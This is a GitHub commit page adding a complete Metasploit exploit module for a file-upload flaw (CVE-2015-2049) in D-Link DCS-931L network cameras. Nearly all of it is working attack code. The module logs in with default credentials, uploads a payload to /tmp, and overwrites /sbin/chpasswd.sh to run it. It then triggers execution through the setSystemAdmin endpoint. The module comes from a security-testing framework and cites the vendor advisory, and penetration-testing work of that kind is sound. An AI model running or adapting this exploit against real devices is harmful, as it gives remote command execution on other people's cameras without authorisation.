Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #6433, Add D-Link DCS-931L File Upload
- Loading branch information
Showing
1 changed file
with
210 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,210 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit4 < Msf::Exploit::Remote | ||
Rank = GreatRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
HttpFingerprint = { :pattern => [ /alphapd/ ] } | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'D-Link DCS-931L File Upload', | ||
'Description' => %q{ | ||
This module exploits a file upload vulnerability in D-Link DCS-931L | ||
network cameras. The setFileUpload functionality allows authenticated | ||
users to upload files to anywhere on the file system, allowing system | ||
files to be overwritten, resulting in execution of arbitrary commands. | ||
This module has been tested successfully on a D-Link DCS-931L with | ||
firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21). | ||
D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly | ||
affected, but untested. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security | ||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit | ||
], | ||
'Payload' => | ||
{ | ||
'Space' => 1024, # File upload | ||
'DisableNops' => true | ||
}, | ||
'Platform' => 'linux', | ||
'Privileged' => false, | ||
'Targets' => | ||
[ | ||
[ 'Linux mipsle Payload', | ||
{ | ||
'Arch' => ARCH_MIPSLE, | ||
'Platform' => 'linux' | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'References' => | ||
[ | ||
[ 'CVE', '2015-2049' ], | ||
[ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ], | ||
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory | ||
], | ||
'DisclosureDate' => 'Feb 23 2015')) | ||
|
||
register_options( | ||
[ | ||
OptString.new('USERNAME', [true, 'Camera username', 'admin']), | ||
OptString.new('PASSWORD', [false, 'Camera password (default: blank)', '']) | ||
], self.class) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'uri' => normalize_uri('uploadfile.htm'), | ||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'] | ||
)) | ||
|
||
unless res | ||
vprint_status("#{peer} - The connection timed out.") | ||
return Exploit::CheckCode::Unknown | ||
end | ||
|
||
if res.code && res.code == 404 | ||
vprint_status("#{peer} - uploadfile.htm does not exist") | ||
return Exploit::CheckCode::Safe | ||
elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/ | ||
vprint_error("#{peer} - Authentication failed") | ||
return Exploit::CheckCode::Detected | ||
elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/ | ||
return Exploit::CheckCode::Vulnerable | ||
end | ||
Exploit::CheckCode::Safe | ||
end | ||
|
||
def exploit | ||
payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}" | ||
|
||
# upload payload | ||
res = upload(payload_path, generate_payload_exe) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, "#{peer} - Connection failed") | ||
end | ||
|
||
if res.code && res.code == 404 | ||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") | ||
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ | ||
print_good("#{peer} - Payload uploaded successfully") | ||
else | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload") | ||
end | ||
register_file_for_cleanup(payload_path) | ||
|
||
# overwrite /sbin/chpasswd.sh with stub | ||
res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n") | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, "#{peer} - Connection failed") | ||
end | ||
|
||
if res.code && res.code == 404 | ||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") | ||
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ | ||
print_good("#{peer} - Stager uploaded successfully") | ||
else | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager") | ||
end | ||
|
||
# execute payload using stub | ||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri('setSystemAdmin'), | ||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), | ||
'vars_post' => Hash[{ | ||
'ReplySuccessPage' => 'advanced.htm', | ||
'ReplyErrorPage' => 'errradv.htm', | ||
'ConfigSystemAdmin' => 'Apply' | ||
}.to_a.shuffle]) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, "#{peer} - Connection failed") | ||
end | ||
|
||
if res.code && res.code == 401 | ||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed") | ||
elsif res.code && res.code == 200 && res.body | ||
print_good("#{peer} - Payload executed successfully") | ||
else | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed") | ||
end | ||
end | ||
|
||
# | ||
# Replace chpasswd.sh with original contents | ||
# | ||
def cleanup | ||
chpasswd = <<-EOF | ||
#!/bin/sh | ||
# | ||
# $Id: chpasswd.sh, v1.00 2009-11-05 andy | ||
# | ||
# usage: chpasswd.sh <user name> [<password>] | ||
# | ||
if [ "$1" == "" ]; then | ||
echo "chpasswd: no user name" | ||
exit 1 | ||
fi | ||
echo "$1:$2" > /tmp/tmpchpw | ||
chpasswd < /tmp/tmpchpw | ||
rm -f /tmp/tmpchpw | ||
EOF | ||
res = upload('/sbin/chpasswd.sh', chpasswd) | ||
if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ | ||
vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully") | ||
else | ||
vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default") | ||
end | ||
end | ||
|
||
# | ||
# Upload a file to a specified path | ||
# | ||
def upload(path, data) | ||
vprint_status("#{peer} - Writing #{data.length} bytes to #{path}") | ||
|
||
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}" | ||
post_data = "--#{boundary}\r\n" | ||
post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n" | ||
post_data << "\r\nreplyuf.htm\r\n" | ||
post_data << "--#{boundary}\r\n" | ||
post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n" | ||
post_data << "\r\nreplyuf.htm\r\n" | ||
post_data << "--#{boundary}\r\n" | ||
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n" | ||
post_data << "\r\n#{path}\r\n" | ||
post_data << "--#{boundary}\r\n" | ||
post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n" | ||
post_data << "Content-Type: application/octet-stream\r\n" | ||
post_data << "\r\n#{data}\r\n" | ||
post_data << "--#{boundary}\r\n" | ||
post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n" | ||
post_data << "\r\nUpload File\r\n" | ||
post_data << "--#{boundary}\r\n" | ||
|
||
send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri('setFileUpload'), | ||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), | ||
'ctype' => "multipart/form-data; boundary=#{boundary}", | ||
'data' => post_data) | ||
end | ||
end |